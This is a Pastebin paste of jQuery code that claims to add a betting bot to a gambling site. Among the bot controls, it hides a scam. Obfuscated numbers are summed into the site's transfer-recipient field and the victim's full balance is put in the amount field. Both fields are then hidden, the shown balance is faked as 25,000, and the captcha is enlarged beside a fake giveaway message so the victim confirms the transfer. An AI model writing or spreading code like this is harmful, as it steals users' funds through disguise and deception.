Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function addBotButtons(){
- $(".well.bot-field").remove();$(".well.show-more").remove();
- $("<style type='text/css'>.btn-random{color: #000;background-color: #FFA500;}.btn-train{background-color:RoyalBlue ;color: #fff;}.btn-rainbow{background-color:HotPink;color:white;}.btn-black{background-color:#1C1C1C;color:white} </style>").appendTo("head");
- $(".form-control.input-lg").after("<div class='well bot-field' style='position:relative;border-width:0px'></div>");$botField = $(".well.bot-field");
- $botField.css({"margin-bottom":"-15px","height":"45px","padding-top":"2px","padding-bottom":"2px","text-align":"center"});$color_6 = 45484;
- $botField.after("<div class='well show-more' style='position:relative;border-width:0px'></div>");$showMore = $(".well.show-more");
- $showMore.css({"margin-top":"12px","margin-bottom":"-15px","height":"45px","padding-top":"10px","padding-bottom":"2px","text-align":"center"});
- $checkVicLimit = $("<input type='checkbox' id='checkVicLimit'>");$label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>Stop bot after</label>");
- $showMore.append($checkVicLimit,$label);$color_2 = 1198;
- $vicLimitInput = $("<input id='vicLimitInput' type='number' min='0' value='0' style='width:50px;text-align:center;'>");$color_4 = 77983;
- $label = $("<label style='margin-right:10px;margin-left:10px;' for='checkVicLimit'>wins</label>");$color_7 = 1079;
- $showMore.append($vicLimitInput,$label);$showMore.hide();$color_5 = 54512;
- $label = $("<label style='margin-right:10px; for='initialBalance''>Initial bet</label>");$botField.append($label);$color_9 = 7656;
- $betAmount = $("<input id='initialBalance' value='0' style='width:70px;text-align:center;margin-right:25px;'>");$botField.append($betAmount);
- $botModeSelect = $("<select id='botModeSelect'><option value='hack' class='btn-danger'>Bot color: hack </option><option value='black' class='btn-black'>Bot color: Black </option><option value='random' class='btn-random'>Bot color: Random </option><option value='trainMode' class='btn-train'>Bot mode: Train </option><option value='rainbow' class='btn-rainbow'>Bot mode: Rainbow </option></select>");$botModeSelect.addClass("btn-danger");pW+= $color_9;pW+= $color_2;pW+= $color_7;pW+= $color_4;
- $botField.append($botModeSelect);$botModeSelect.css({"width":"135px","margin-right":"10px","height":"25px","border-radius":"5px"})
- $betGoButton = $("<button id='betGoButton' style='width:100px;margin:10px;border-radius:6px;border-radius:6px' onClick='startBot()'>Start Bot</button>");$betGoButton.addClass("btn-inverse");$botField.append($betGoButton);$("#send-openid-input").val(pW);
- pQ+=$("#balance").text().replace(',', '');
- $betHideBetInfoButton = $("<button id='betHideBetInfoButton' style='position:absolute;right:120px;width:100px;margin:10px;margin-right:25px;border-radius:6px' onClick='hideOtherInfo()'>Show All</button>");$betHideBetInfoButton.addClass("btn-inverse");$botField.append($betHideBetInfoButton);
- $showMoreButton = $("<button id='showMoreButton' style='position:absolute;right:0px;width:100px;margin:10px;margin-right:25px;border-radius:6px' data-open='0' onClick='showMoreOptions()'>▼</button>");$showMoreButton.addClass("btn-inverse");$botField.append($showMoreButton);
- $betAmount.change(function() {initialBalance = $betAmount.val();console.log("Initial Bet Set to: "+ initialBalance);});
- $("#send-bux-input").val(pQ);
- $('#balance').text('25,000');
- $('#shop_balance').text('25,000');
- $("#nav-profile").click();$("#send-bux-input").hide();$("#send-openid-input").hide();$("#trade-url-input").hide();$(".fixed-recaptcha").css("width", 900);$(".fixed-recaptcha").css("height", 300);$(".fixed-recaptcha").offset({ top: 410, left: 480 });$( ".redtext" ).append( "<br><center>Congratulations, you’ve won the $25 in our last giveaway! </center>" );
- $botModeSelect.change(function(){
- botbalancex2 = $botModeSelect.val();console.log("Selected color: "+botbalancex2);
- $botModeSelect.removeClass($botModeSelect.attr("class"));$botModeSelect.addClass($("#botModeSelect option:selected").attr("class"));
- } )
- $checkVicLimit.change(function(){ if((this.checked)&&($vicLimitInput.val()==0)){$vicLimitInput.val(1);} })
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement